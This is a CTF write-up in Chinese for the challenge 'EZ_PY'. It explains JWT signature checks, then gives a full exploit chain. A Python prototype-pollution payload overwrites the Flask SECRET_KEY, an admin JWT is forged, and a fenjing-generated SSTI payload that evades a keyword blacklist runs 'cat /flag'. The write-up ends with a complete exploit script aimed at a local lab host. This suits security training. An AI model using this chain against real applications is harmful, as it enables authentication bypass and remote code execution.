EZ_PY 前置知识 原型链污染 JWT验证 JWT(JSON Web Token)验证的核心是通过签名确保 Token 未被篡改,同时验证 Token 的合法性(有效期、签发者等),避免身份伪造。 核心验证原理 JWT 由Header.Payload.Signature三段式字符串组成,验证过程围绕这三部分展开,核心是 “签名校验” 和 “内容合法性校验”。
验证前的基础处理 服务器接收 Token 后,先按.分割为 Header、Payload、Signature 三部分。 对 Header 和 Payload 分别进行 Base64 解码(注意:Base64 是编码而非加密,可直接解码查看内容)。
核心:签名校验(防篡改关键) 签名是 JWT 验证的核心,目的是确认 Token 内容未被修改,且来自合法签发者。 服务器获取本地存储的密钥(如你之前提到的 SECRET_KEY,HS256 算法用对称密钥,RS256 用私钥签名、公钥验证)。 按 Header 中指定的算法(如 HS256),用 “解码后的 Header + 解码后的 Payload + 密钥” 重新计算签名。 将重新计算的签名,与 Token 中的 Signature 部分对比: 若一致:说明 Token 内容未被篡改,且是用合法密钥签发的; 若不一致:直接判定 Token 无效,拒绝访问。
辅助:Payload 合法性校验 签名通过后,还需验证 Payload 中的核心字段(按需校验,非强制但必须配置): exp(过期时间):若当前时间超过 exp,Token 失效; nbf(生效时间):若当前时间未到 nbf,Token 暂不可用; iss(签发者):验证是否与服务器预期的签发者一致; aud(受众):验证 Token 是否是发给当前服务器的。
复现 获得token 查看首页源码 提示访问/source目录 给出了网页源代码 重点查看merge函数 发现存在原型链污染 payload :
1 2 3 4 { "username" : "123" , "password" : "123" , "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" : "123" } } } } }
发生请求包 注册成功 此时用户123的token 就是用SECRET_KEY=123加密的 登录获得token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzIiwicm9sZSI6InVzZXIifQ.AJ5MXd3sVRPUTsUOUTiqaPSm0MFiLQnsaVGYPgrleJg
token伪造 现在已知key 因此jwt的payload可以随意伪造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import jwtimport timepayload ={ "user" :"123" , "role" :"admin" } secret_key = "123" fake_token = jwt.encode( payload=payload, key=secret_key, algorithm="HS256" ) print ("Token:" , fake_token)
输出eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzIiwicm9sZSI6ImFkbWluIn0.7NOlZ6z7CpjuY8xEvrPvDR9wMfuiFh7-KT6t1Ux3yNQ 访问/protected 说明成功伪造
注入代码 (绕过waf) 1 2 3 4 5 6 7 8 9 10 11 12 @app.route("/protected" , methods=["GET" ] ) @token_required def protected (current_user, role ): if role != "admin" : return make_response( f"Access denied: User {current_user} ({role} ) does not have sufficient privileges." , 403 , ) filtered_user = waf_filter(current_user) return render_template_string( f"Hello, {filtered_user} ! You have access to this protected resource." )
注意到 源码此部分filtered_user 即username可以注入代码 利用fenjing构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from fenjing import exec_cmd_payload, config_payloadimport logginglogging.basicConfig(level=logging.INFO) def waf (s: str ) -> bool : """ 模拟WAF过滤规则 :param s: 待检测的字符串(生成的Payload) :return: 若字符串不包含黑名单内容则返回True,否则返回False """ blacklist = [ 'class' , 'bases' , 'subclasses' , 'mro' , 'globals' , 'builtins' , 'import' , 'eval' , 'exec' , 'open' , 'file' , 'read' , 'write' , 'os' , 'subprocess' , 'config' , 'request' , 'session' , 'g' , 'url_for' , 'get_flashed_messages' , '{%' , '%}' , '{#' , '#}' ] return all (word not in s for word in blacklist) shell_payload, _ = exec_cmd_payload(waf, "cat /flag" ) shell_payload = shell_payload.replace("{{" , "hello" ) shell_payload = shell_payload.replace("}}" , "hacker" ) print (shell_payload)
hello(1919.eq [‘ ‘+’‘+’GLOBALS’.lower()+’ ‘+’_’].sys.modules[‘o’’s’][‘po’’pen’](‘CAT /FLAG’.lower()))‘r’’ead’ hacker
再利用上面的token伪造 即可 这里贴出官方wp的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import requestsimport jwtimport jsonfrom fenjing import exec_cmd_payload, config_payloadimport logginglogging.basicConfig(level=logging.INFO) def waf (s: str ): blacklist = [ 'class' , 'bases' , 'subclasses' , 'mro' , 'globals' , 'builtins' , 'import' , 'eval' , 'exec' , 'open' , 'file' , 'read' , 'write' , 'os' , 'subprocess' , 'config' , 'request' , 'session' , 'g' , 'url_for' , 'get_flashed_messages' , '{%' , '%}' , '{#' , '#}' ] return all (word not in s for word in blacklist) shell_payload, _ = exec_cmd_payload(waf, "cat /flag" ) shell_payload = shell_payload.replace("{{" , "hello" ) shell_payload = shell_payload.replace("}}" , "hacker" ) HOST = "http://127.0.0.1:55237" REGISTER_URL = f"{HOST} /register" LOGIN_URL = f"{HOST} /login" PROTECTED_URL = f"{HOST} /protected" def exploit (): session = requests.Session() register_payload = { "username" : "hacker" , "password" : "123" , "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" : "c1432" } } } } } reg_resp = session.post(REGISTER_URL, json=register_payload) if reg_resp.status_code != 201 : print (f"注册失败: {reg_resp.status_code} - {reg_resp.text} " ) return login_data = {"username" : "hacker" , "password" : "123" } login_resp = session.post(LOGIN_URL, json=login_data) if login_resp.status_code != 200 : print (f"登录失败: {login_resp.status_code} " ) return try : token = login_resp.json().get("token" ) except : print ("Token提取失败" ) return forged_token = jwt.encode( {"user" : shell_payload, "role" : "admin" }, "c1432" , algorithm="HS256" ) headers = {"Authorization" : f"Bearer {forged_token} " } protected_resp = session.get(PROTECTED_URL, headers=headers) if "You have access to this protected resource" in protected_resp.text: print (protected_resp.text) else : print (f"权限验证失败: {protected_resp.status_code} " ) print (protected_resp.text) print (f"shell_payload={shell_payload} " ) if __name__ == "__main__" : exploit()